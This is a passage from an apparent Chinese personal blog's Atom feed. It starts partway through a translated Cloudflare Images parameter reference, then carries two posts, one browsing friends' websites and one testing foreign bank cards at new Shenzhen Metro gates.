</div></div><div><div><div>14</div></div><div><span>trim.top=0.25</span></div></div><div><div><div>15</div></div><div><span>// 这从顶部修剪图像高度的 25%</span></div></div></code></pre><div><div></div><div></div></div></figure><div></div></div><span>展开</span><span>收起</span></div></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>trim</span><span>: {</span><span>top</span><span>: </span></span><span>12</span><span><span>, </span><span>right</span><span>: </span></span><span>78</span><span><span>, </span><span>bottom</span><span>: </span></span><span>34</span><span><span>, </span><span>left</span><span>: </span></span><span>56</span><span><span>, </span><span>width</span><span>: </span></span><span>678</span><span><span>, </span><span>height</span><span>: </span></span><span>678</span><span>}}}</span></div></div><div><div><div>2</div></div><div><span>// 使用小数从每侧修剪 10%：</span></div></div><div><div><div>3</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>trim</span><span>: {</span><span>top</span><span>: </span></span><span>0.1</span><span><span>, </span><span>right</span><span>: </span></span><span>0.1</span><span><span>, </span><span>bottom</span><span>: </span></span><span>0.1</span><span><span>, </span><span>left</span><span>: </span></span><span>0.1</span><span>}}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3><code>upscale</code><a href="#upscale"><span>#</span></a></h3><p>控制需要放大图像时使用的算法。此参数适用于任何放大的 <a href="#fit">fit</a> 模式，例如 <a href="#contain">contain</a>、<a href="#cover">cover</a> 和 <a href="#scale-up">scale-up</a>。当 <code>fit=scale-down</code> 或目标尺寸小于源尺寸时，它不起作用。</p><p>接受以下值：</p><ul>
<li><code>interpolate</code>（默认）— 使用双三次插值，这可能会降低图像质量。这是未指定 <code>upscale</code> 时的默认行为。</li>
<li><code>generate</code> — 使用 AI 放大 (<a href="https://github.com/xinntao/ESRGAN" target="_blank">ESRGAN ↗</a>) 在放大图像时产生更锐利、更详细的结果。</li>
</ul><p>指定 <code>upscale=generate</code> 时，AI 模型在最近支持的比例（2x 或 4x）运行一次，然后调整为精确的目标尺寸。超过 4x 的比例因子通过 AI 放大到 4x 处理，其余部分使用双三次插值。</p><p>注意</p><p>由于 GPU 推理，<code>upscale=generate</code> 的延迟高于 <code>upscale=interpolate</code>。结果按照与其他优化相同的 <a href="https://developers.cloudflare.com/images/optimization/features/#caching" target="_blank">缓存规则</a> 进行缓存。</p><ul>
<li><a href="#tab-panel-9336"> URL 格式 </a></li>
<li><a href="#tab-panel-9337"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>upscale=generate</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>upscale</span><span>: </span></span><span>"generate"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section><section><h3><code>width</code> | <code>w</code><a href="#width--w"><span>#</span></a></h3><p>使用正整数值设置输出图像的宽度（像素）。默认情况下，Cloudflare 使用输入图像的原始宽度。</p><p>设置 <code>width</code> 时，具体行为取决于 <code>fit</code> 参数。</p><p>接受以下值：</p><ul>
<li>
<p>以像素为单位的数字（例如，<code>250</code>）。</p>
</li>
<li>
<p><code>auto</code> — 根据有关浏览器和设备的可用信息，自动以最佳宽度提供图像。接受 <code>wbreakpoints</code>（客户端提示）、<code>wmobile</code>（用户代理检测）和 <code>wdesktop</code>（用户代理检测）作为子参数。</p>
</li>
<li>
<p><a href="#tab-panel-9338"> URL 格式 </a></p>
</li>
<li>
<p><a href="#tab-panel-9339"> Workers </a></p>
</li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>width=250</span></div></div><div><div><div>2</div></div><div><span>w=250</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>width</span><span>: </span></span><span>250</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div><section><h4><code>width=auto</code> 子参数<a href="#widthauto-子参数"><span>#</span></a></h4><p>指定 <code>width=auto</code> 时，Cloudflare 使用来自客户端提示（由浏览器发送）的信息或通过用户代理检测作为回退来调整图像大小。</p><p>您可以使用以下子参数自定义 <code>width=auto</code> 行为：</p>

<table><thead><tr><th>子参数</th><th>描述</th><th>默认</th></tr></thead><tbody><tr><td>wbreakpoints</td><td>覆盖默认断点宽度，以像素为单位（客户端提示）</td><td>320;768;960;1200</td></tr><tr><td>wmobile</td><td>覆盖移动设备的默认宽度，以像素为单位（用户代理检测）</td><td>768</td></tr><tr><td>wdesktop</td><td>覆盖桌面设备的默认宽度，以像素为单位（用户代理检测）</td><td>1200</td></tr></tbody></table><p>使用 <code>width=auto</code> 优化远程图像时，每个唯一的宽度都算作单独的 <a href="https://developers.cloudflare.com/images/pricing/#images-transformed" target="_blank">可计费转换</a>。</p><p>要了解 <code>width=auto</code> 的工作原理，请参阅我们关于 <a href="https://developers.cloudflare.com/images/optimization/make-responsive-images/" target="_blank">提供响应式图像</a> 的指南。</p><ul>
<li><a href="#tab-panel-9340"> URL 格式 </a></li>
<li><a href="#tab-panel-9341"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>wbreakpoints=320;768;960;1920 // 将最大断点更改为 1920 像素</span></div></div><div><div><div>2</div></div><div><span>wbreakpoints=320;768;960;1200;1920 // 在 1920 像素处添加另一个断点</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>wbreakpoints</span><span>: </span></span><span>"320;768;960;1920"</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h3><code>zoom</code> | <code>face-zoom</code><a href="#zoom--face-zoom"><span>#</span></a></h3><p>指定当与 <code>gravity=face</code> 选项结合使用时，图像朝向检测到的人脸裁剪的紧密程度。接受介于 <code>0.0</code>（尽可能包含更多背景）和 <code>1.0</code>（尽可能紧密地朝向人脸裁剪图像）之间的有效范围。默认值为 <code>0</code>。</p><ul>
<li><a href="#tab-panel-9342"> URL 格式 </a></li>
<li><a href="#tab-panel-9343"> Workers </a></li>
</ul><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>zoom=0.1</span></div></div></code></pre><div><div></div><div></div></div></figure></div><p><strong>JavaScript</strong></p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span><span>cf</span><span>: {</span><span>image</span><span>: {</span><span>zoom</span><span>: </span></span><span>0.5</span><span>}}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section><section><h2>推荐的图像尺寸<a href="#推荐的图像尺寸"><span>#</span></a></h2><p>理想情况下，图像尺寸应与其在页面上显示的尺寸完全匹配。如果页面包含带有 <code>&lt;img width="200" …&gt;</code> 等标记的缩略图，则应将图像调整为 <code>width=200</code>。</p><p>要 <a href="https://developers.cloudflare.com/images/optimization/make-responsive-images/" target="_blank">提供响应式图像</a>，您可以使用 HTML <code>srcset</code> 属性让提供商选择最佳尺寸。如果您不能使用 <code>&lt;img srcset&gt;</code> 标记并且必须硬编码特定的最大尺寸，Cloudflare 建议使用以下尺寸：</p><ul>
<li>桌面浏览器最大 1920 像素。</li>
<li>平板电脑最大 960 像素。</li>
<li>手机最大 640 像素。</li>
</ul><p>例如，<code>fit=scale-down,width=1920</code> 设置最大尺寸为 1920px，并确保图像不会被不必要地放大。</p><p>您可以通过 <a href="https://developers.cloudflare.com/cache/how-to/cache-rules/examples/cache-device-type/" target="_blank">缓存规则</a> 启用 <code>CF-Device-Type</code> 标头来检测设备类型。</p></section><section><h2>缓存<a href="#缓存"><span>#</span></a></h2><p>使用 Images 进行优化时，原始图像将从源服务器获取并缓存 — 遵循 HTTP 缓存、<code>Cache-Control</code> 标头等的常规规则。请求多个不同图像大小可能会重用缓存的原始图像，而不会导致来自源服务器的额外传输。</p><p>如果对源图像使用了 <a href="https://developers.cloudflare.com/cache/how-to/cache-keys/" target="_blank">自定义缓存键</a>，则源图像可能不会被缓存，并且可能会导致对源的更多调用。</p><p>优化图像遵循其调整大小的原始图像相同的缓存规则，但最小缓存时间为 1 小时。如果您需要更频繁地更新图像，请将 <code>must-revalidate</code> 添加到 <code>Cache-Control</code> 标头。Images 服务支持缓存重新验证，因此我们建议提供带有 <code>Etag</code> 标头的图像。有关更多信息，请参阅 <a href="https://developers.cloudflare.com/cache/concepts/cache-control/#revalidation" target="_blank">缓存文档</a>。</p><p>Cloudflare 不支持单独清除优化的图像。无法清除以 <code>/cdn-cgi/</code> 开头的 URL。但是，清除原始图像的 URL 也将清除其所有优化版本。</p><div><figure><figcaption></figcaption><pre><code><div><div><div>1</div></div><div><span>{</span><span>"@context"</span><span>:</span><span>"https://schema.org"</span><span>,</span><span>"@type"</span><span>:</span><span>"TechArticle"</span><span>,</span><span>"@id"</span><span>:</span><span>"https://developers.cloudflare.com/images/optimization/features/#page"</span><span>,</span><span>"headline"</span><span>:</span><span>"Features · Cloudflare Images docs"</span><span>,</span><span>"description"</span><span>:</span><span>"Available Cloudflare Images optimization parameters for resizing, cropping, format conversion, and visual effects."</span><span>,</span><span>"url"</span><span>:</span><span>"https://developers.cloudflare.com/images/optimization/features/"</span><span>,</span><span>"inLanguage"</span><span>:</span><span>"en"</span><span>,</span><span>"image"</span><span>:</span><span>"https://developers.cloudflare.com/dev-products-preview.png"</span><span>,</span><span>"dateModified"</span><span>:</span><span>"2026-06-16"</span><span>,</span><span>"publisher"</span><span>:{</span><span>"@type"</span><span>:</span><span>"Organization"</span><span>,</span><span>"name"</span><span>:</span><span>"Cloudflare"</span><span>,</span><span>"url"</span><span>:</span><span>"https://www.cloudflare.com/"</span><span>},</span><span>"isPartOf"</span><span>:{</span><span>"@type"</span><span>:</span><span>"WebSite"</span><span>,</span><span>"@id"</span><span>:</span><span>"https://developers.cloudflare.com/#website"</span><span>,</span><span>"name"</span><span>:</span><span>"Cloudflare Docs"</span><span>,</span><span>"url"</span><span>:</span><span>"https://developers.cloudflare.com/"</span><span>}}</span></div></div><div><div><div>2</div></div><div><span>{</span><span>"@context"</span><span>:</span><span>"https://schema.org"</span><span>,</span><span>"@type"</span><span>:</span><span>"BreadcrumbList"</span><span>,</span><span>"itemListElement"</span><span>:[{</span><span>"@type"</span><span>:</span><span>"ListItem"</span><span>,</span><span>"position"</span><span>:</span><span>1</span><span>,</span><span>"item"</span><span>:{</span><span>"@id"</span><span>:</span><span>"/directory/"</span><span>,</span><span>"name"</span><span>:</span><span>"Directory"</span><span>}},{</span><span>"@type"</span><span>:</span><span>"ListItem"</span><span>,</span><span>"position"</span><span>:</span><span>2</span><span>,</span><span>"item"</span><span>:{</span><span>"@id"</span><span>:</span><span>"/images/"</span><span>,</span><span>"name"</span><span>:</span><span>"Cloudflare Images"</span><span>}},{</span><span>"@type"</span><span>:</span><span>"ListItem"</span><span>,</span><span>"position"</span><span>:</span><span>3</span><span>,</span><span>"item"</span><span>:{</span><span>"@id"</span><span>:</span><span>"/images/optimization/"</span><span>,</span><span>"name"</span><span>:</span><span>"Optimization"</span><span>}},{</span><span>"@type"</span><span>:</span><span>"ListItem"</span><span>,</span><span>"position"</span><span>:</span><span>4</span><span>,</span><span>"item"</span><span>:{</span><span>"@id"</span><span>:</span><span>"/images/optimization/features/"</span><span>,</span><span>"name"</span><span>:</span><span>"Features"</span><span>}}]}</span></div></div></code></pre><div><div></div><div></div></div></figure></div></section></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/look-friend-1/</id>
      <title type="text">看一下友链上的站长们的网站都怎么样？</title>
      <published>2026-07-08T00:00:00.000Z</published>
      <updated>2026-07-08T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/look-friend-1/"/>
      <summary type="text">暑假日更系列开启，顺手逛了逛友链里几位站长的个人网站：Ad_closeNN 技术好人、elykia 疑似用了 fuwari 主题、星雪的站稍微有点慢……剩下的实在懒得挨个截图了，感兴趣可以直接去看友链列表～</summary>
      <content type="html"><![CDATA[<section><h1>看一下友链上的站长们的网站都怎么样？<a href="#看一下友链上的站长们的网站都怎么样"><span>#</span></a></h1><p>现在想<strong>日更</strong>文章到了<strong>暑假</strong>有点时间了。</p><section><h2>1.Ad_closeNN的blog<a href="#1ad_closenn的blog"><span>#</span></a></h2><p><a href="https://adclosenn.top/" target="_blank">Ad_closeNN的blog</a>这是个好人，比较懂网页，给我的网站提供了很多帮助。
</p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/Ad_closeNN%26blog.jpg" alt="Ad_closeNN的blog" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/look-friend-1/Ad_closeNN%26blog.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/Ad_closeNN%26blog.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/look-friend-1/Ad_closeNN%26blog.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/look-friend-1/Ad_closeNN%26blog.jpg 1600w" loading="lazy" /><figcaption>Ad_closeNN的blog</figcaption></figure><p></p></section><section><h2>elykia<a href="#elykia"><span>#</span></a></h2><p><a href="https://blog.elykia.cn/" target="_blank">elykia</a>我怎么我怎么印象中他的博客用的是fuwari😁
</p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/elykia.jpg" alt="elykia" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/look-friend-1/elykia.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/elykia.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/look-friend-1/elykia.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/look-friend-1/elykia.jpg 1600w" loading="lazy" /><figcaption>elykia</figcaption></figure><p></p></section><section><h2>kfdzcoffee<a href="#kfdzcoffee"><span>#</span></a></h2><p><a href="https://blog.kfdzcoffee.cn/" target="_blank">kfdzcoffee</a>没啥好说的，友中的一位。
</p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/kfdzcoffee.jpg" alt="kfdzcoffee" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/look-friend-1/kfdzcoffee.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/kfdzcoffee.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/look-friend-1/kfdzcoffee.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/look-friend-1/kfdzcoffee.jpg 1600w" loading="lazy" /><figcaption>kfdzcoffee</figcaption></figure><p></p></section><section><h2>Pinpe<a href="#pinpe"><span>#</span></a></h2><p><a href="https://pinpe.top/" target="_blank">Pinpe</a>是友链中的一位。
</p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/Pinpe.jpg" alt="Pinpe" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/look-friend-1/Pinpe.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/Pinpe.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/look-friend-1/Pinpe.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/look-friend-1/Pinpe.jpg 1600w" loading="lazy" /><figcaption>Pinpe</figcaption></figure><p></p></section><section><h2>星雪<a href="#星雪"><span>#</span></a></h2><p><a href="https://snowtafir.top/" target="_blank">snowtafir</a>也是友链中的一位。</p><blockquote><p>网站给我的第一印象是有点慢</p></blockquote><p></p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/snowtafir.jpg" alt="snowtafir" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/look-friend-1/snowtafir.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/look-friend-1/snowtafir.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/look-friend-1/snowtafir.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/look-friend-1/snowtafir.jpg 1600w" loading="lazy" /><figcaption>snowtafir</figcaption></figure><p></p></section></section>
<section><h1>剩下的<a href="#剩下的"><span>#</span></a></h1><blockquote><p>剩下的说实话，我懒得添加了，主要是一个一个截屏复制，好累😂😉
那就这样吧，这个可以直接去友链看。</p></blockquote></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.mckero.com/posts/shenzhen-metro/</id>
      <title type="text">体验深圳地铁新闸机</title>
      <published>2026-07-08T00:00:00.000Z</published>
      <updated>2026-07-08T00:00:00.000Z</updated>
      <author><name>MC_Kero</name></author>
      <link rel="alternate" href="https://blog.mckero.com/posts/shenzhen-metro/"/>
      <summary type="text">本文作者专程测试深圳地铁为迎接APEC会议而增设的新闸机，验证其对银联、万事达、Visa、JCB及美国运通等外卡的支持。从贝尔路站到少年宫站往返，分别使用BOC美元万事达卡和邮储万事达网联卡，均顺利进出闸，体验成功。文章以真实、随性的笔触记录了寻找闸机、乘车过程及出站扣款等细节，无任何商业意图，仅为忠实记录。</summary>
      <content type="html"><![CDATA[<section><h1>体验深圳地铁新闸机<a href="#体验深圳地铁新闸机"><span>#</span></a></h1><blockquote><p>首先，我不是<strong>hcm</strong>，<strong>交通迷</strong>，<strong>地铁迷</strong>😂</p></blockquote><p>我只是在<a href="https://www.bilibili.com/" target="_blank">B站</a>看到有人说**<a href="https://baike.baidu.com/item/%E6%B7%B1%E5%9C%B3%E5%9C%B0%E9%93%81/1945642" target="_blank">深圳地铁</a><strong>因为</strong><a href="https://baike.baidu.com/item/%E4%BA%9A%E5%A4%AA%E7%BB%8F%E6%B5%8E%E5%90%88%E4%BD%9C%E7%BB%84%E7%BB%87/424786" target="_blank">APEC</a><strong>将要在</strong>11月<strong>在</strong><a href="https://baike.baidu.com/item/%E6%B7%B1%E5%9C%B3%E5%B8%82/11044365?fromtitle=%E6%B7%B1%E5%9C%B3&amp;fromid=140588" target="_blank">深圳</a>举行**。
所以<strong>增添了许多新闸机</strong>。
这些闸机都支持**<a href="https://baike.baidu.com/item/%E4%B8%AD%E5%9B%BD%E9%93%B6%E8%81%94/3432415?fromtitle=%E9%93%B6%E8%81%94&amp;fromid=885296" target="_blank">银联</a><strong>，</strong><a href="https://baike.baidu.com/item/%E4%B8%87%E4%BA%8B%E8%BE%BE%E5%9B%BD%E9%99%85%E7%BB%84%E7%BB%87/4611882?fromtitle=%E4%B8%87%E4%BA%8B%E8%BE%BE&amp;fromid=2029201" target="_blank">万事达</a><strong>，</strong><a href="https://baike.baidu.com/item/visa/60281" target="_blank">visa</a><strong>，</strong><a href="https://baike.baidu.com/item/JCB/2324391" target="_blank">jcb</a><strong>，</strong><a href="https://baike.baidu.com/item/%E7%BE%8E%E5%9B%BD%E8%BF%90%E9%80%9A%E5%8D%A1/8501209?fromModule=search_box" target="_blank">美国运通</a>**。</p><blockquote><p><strong>深圳地铁</strong>原本就<strong>支持银联</strong>😄</p></blockquote></section>
<section><h1>路过美宜家<a href="#路过美宜家"><span>#</span></a></h1><p>这趟我是专门出门<strong>体验</strong>深圳地铁的<strong>新闸机</strong>，计划是从<strong>深圳地铁10号线</strong>贝尔路站→<strong>深圳地铁3号线少年宫站</strong></p><p>预计耗时<strong>30min</strong>，所以我在<strong>美宜家</strong>花费<strong>3<a href="https://baike.baidu.com/item/%E4%BA%BA%E6%B0%91%E5%B8%81/330794" target="_blank">cny</a><strong>购买了一瓶</strong><a href="https://baike.baidu.com/item/%E5%BA%B7%E5%B8%88%E5%82%85%E5%86%B0%E7%BA%A2%E8%8C%B6/4399950?fromModule=search_box" target="_blank">康师傅冰红茶</a></strong>
</p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/meiyijia.jpg" alt="美宜佳图片" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/shenzhen-metro/meiyijia.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/meiyijia.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/shenzhen-metro/meiyijia.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/shenzhen-metro/meiyijia.jpg 1600w" loading="lazy" /><figcaption>美宜佳图片</figcaption></figure><p></p><blockquote><p>这一段都是在我<strong>去</strong>地铁口的路上写的，我心中还是很<strong>忐忑</strong>的，如果没有遇到<strong>新闸机</strong>不就白跑了吗？</p></blockquote><p></p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/szbeierrd-B.jpg" alt="贝尔路B进站口图片" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/shenzhen-metro/szbeierrd-B.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/szbeierrd-B.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/shenzhen-metro/szbeierrd-B.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/shenzhen-metro/szbeierrd-B.jpg 1600w" loading="lazy" /><figcaption>贝尔路B进站口图片</figcaption></figure><p></p></section>
<section><h1>找到闸机<a href="#找到闸机"><span>#</span></a></h1><p>我寻找了一番，终于找到了闸机，我还以为没有呢，我还心灰意冷了，但是我寻找一番，果然找到了。</p><blockquote><p>咋**可能没有呢？**要是有些站点有，有些站点没有，那不就不能出站了吗？😂</p></blockquote><p></p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/beierrd-szmetro-zhaji.jpg" alt="贝尔路地铁站新闸机图片" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/shenzhen-metro/beierrd-szmetro-zhaji.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/beierrd-szmetro-zhaji.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/shenzhen-metro/beierrd-szmetro-zhaji.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/shenzhen-metro/beierrd-szmetro-zhaji.jpg 1600w" loading="lazy" /><figcaption>贝尔路地铁站新闸机图片</figcaption></figure><p></p><section><h2>雅宝→孖岭<a href="#雅宝孖岭"><span>#</span></a></h2><p>说实话这两个站<strong>有点久</strong>，<strong>4min</strong>才能<strong>到</strong>
但是如果你看了<strong>地图🗺️</strong>你就不会这么说（中间<strong>穿山</strong>了）</p><blockquote><p>说实话我想在这里插入一个<strong>osm地图🗺️</strong>，但是我实在是有点<strong>懒</strong>！</p></blockquote></section><section><h2>出站<a href="#出站"><span>#</span></a></h2><p>能不能<strong>出站</strong>也是个问题</p><blockquote><p>我没有那些<strong>真正的外卡</strong>
这次我进站的时候使用的是**<a href="https://baike.baidu.com/item/%E4%B8%AD%E5%9B%BD%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8/7544477?fromtitle=%E4%B8%AD%E5%9B%BD%E9%93%B6%E8%A1%8C&amp;fromid=245376" target="_blank">BOC</a>的万事达卡**，里面存的是**<a href="https://baike.baidu.com/item/%E7%BE%8E%E5%85%83/484146?fromModule=search_box" target="_blank">美元</a><strong>，俗称</strong>老万事达**（我觉得这张卡<strong>能成功</strong>！写这句话的时候我买没有<strong>出站</strong>）</p></blockquote><blockquote><p>下次进站我打算使用**<a href="https://baike.baidu.com/item/%E4%B8%AD%E5%9B%BD%E9%82%AE%E6%94%BF%E5%82%A8%E8%93%84%E9%93%B6%E8%A1%8C%E8%82%A1%E4%BB%BD%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8/3078324?fromtitle=%E4%B8%AD%E5%9B%BD%E9%82%AE%E6%94%BF%E5%82%A8%E8%93%84%E9%93%B6%E8%A1%8C&amp;fromid=8674001" target="_blank">中国邮政储蓄银行</a>的万事达卡**，这张是**<a href="https://baike.baidu.com/item/%E4%B8%87%E4%BA%8B%E7%BD%91%E8%81%94%E4%BF%A1%E6%81%AF%E6%8A%80%E6%9C%AF%EF%BC%88%E5%8C%97%E4%BA%AC%EF%BC%89%E6%9C%89%E9%99%90%E5%85%AC%E5%8F%B8/23330736?fromModule=search-result_lemma-recommend&amp;from=baikeswan&amp;_swebfr=220011" target="_blank">万事网联</a><strong>的卡。
可以走</strong><a href="https://baike.baidu.com/item/%E5%BE%AE%E4%BF%A1%E6%94%AF%E4%BB%98/7322448?fromModule=search_box&amp;from=baikeswan&amp;_swebfr=220011" target="_blank">微信</a>/<a href="https://baike.baidu.com/pages/lemma/lemma?lemmaTitle=%E6%94%AF%E4%BB%98%E5%AE%9D&amp;lemmaId=496859&amp;from=bottomBarShare&amp;_swebfr=220011" target="_blank">支付宝</a><strong>（这是</strong>最坏<strong>的情况😓）<strong>最惨</strong>也不过是</strong>用我的深圳通**</p></blockquote><p>过了好久的车终于也是到少年宫站了，<strong>先从少年宫3号线部分→少年宫4号线部分（因为少年宫在那边有一个出口可以直接进去）</strong>
<strong>3号线部分是由<a href="https://baike.baidu.com/pages/lemma/lemma?lemmaTitle=%E6%B7%B1%E5%9C%B3%E5%9C%B0%E9%93%81&amp;lemmaId=1945642&amp;from=bottomBarShare&amp;_swebfr=220011" target="_blank">深圳地铁</a>运营
4号线部分是由<a href="https://baike.baidu.com/item/%E6%B8%AF%E9%93%81/7869166" target="_blank">港铁</a>运营</strong></p><p>然后呢也是找到了<strong>对应</strong>的闸机，你去能出站
</p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/mtr-shaoniangong-chuzhan.jpg" alt="少年宫4号线出站图片" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/shenzhen-metro/mtr-shaoniangong-chuzhan.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/mtr-shaoniangong-chuzhan.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/shenzhen-metro/mtr-shaoniangong-chuzhan.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/shenzhen-metro/mtr-shaoniangong-chuzhan.jpg 1600w" loading="lazy" /><figcaption>少年宫4号线出站图片</figcaption></figure><p></p><p>我没有<strong>立马收到</strong>扣款短信，不清楚是<strong>延迟扣款还是说根本没扣</strong>😁😃</p></section></section>
<section><h1>深圳书城内部<a href="#深圳书城内部"><span>#</span></a></h1><p>里面真是<strong>一片欣欣向荣</strong>，<strong>很多人在看书，玩手机</strong>。
</p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/shaoniangong.jpg" alt="少年宫顶部图片" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/shenzhen-metro/shaoniangong.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/shaoniangong.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/shenzhen-metro/shaoniangong.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/shenzhen-metro/shaoniangong.jpg 1600w" loading="lazy" /><figcaption>少年宫顶部图片</figcaption></figure><p></p><section><h3>到达”全世界最大”的网吧<a href="#到达全世界最大的网吧"><span>#</span></a></h3><p></p><figure><img src="https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/szlib-apec.jpg" alt="全世界最大的网吧图片" srcset="https://img.mckero.com/cdn-cgi/image/width=500,format=auto,quality=80/shenzhen-metro/szlib-apec.jpg 500w, https://img.mckero.com/cdn-cgi/image/width=800,format=auto,quality=80/shenzhen-metro/szlib-apec.jpg 800w, https://img.mckero.com/cdn-cgi/image/width=1200,format=auto,quality=80/shenzhen-metro/szlib-apec.jpg 1200w, https://img.mckero.com/cdn-cgi/image/width=1600,format=auto,quality=80/shenzhen-metro/szlib-apec.jpg 1600w" loading="lazy" /><figcaption>全世界最大的网吧图片</figcaption></figure><p></p></section></section>
<section><h1>换卡测试<a href="#换卡测试"><span>#</span></a></h1><p>这次我要将要使用刚刚在上文所说的<strong>中国邮政储蓄银行的万事达卡</strong>，这张卡是<strong>万事网联</strong>的，所以说要是情况<strong>很差</strong>的话呢，我们<strong>最终</strong>可以使用<strong>深圳通</strong>或者通过<strong>微信过闸</strong></p><section><h2>返程<a href="#返程"><span>#</span></a></h2><p>也是很<strong>顺利</strong>的<strong>到达了地铁口</strong>，然后<strong>找到</strong>了闸机，<strong>成功</strong>的进入，看来这次深圳地铁的这个换新闸机<strong>很成功</strong>。
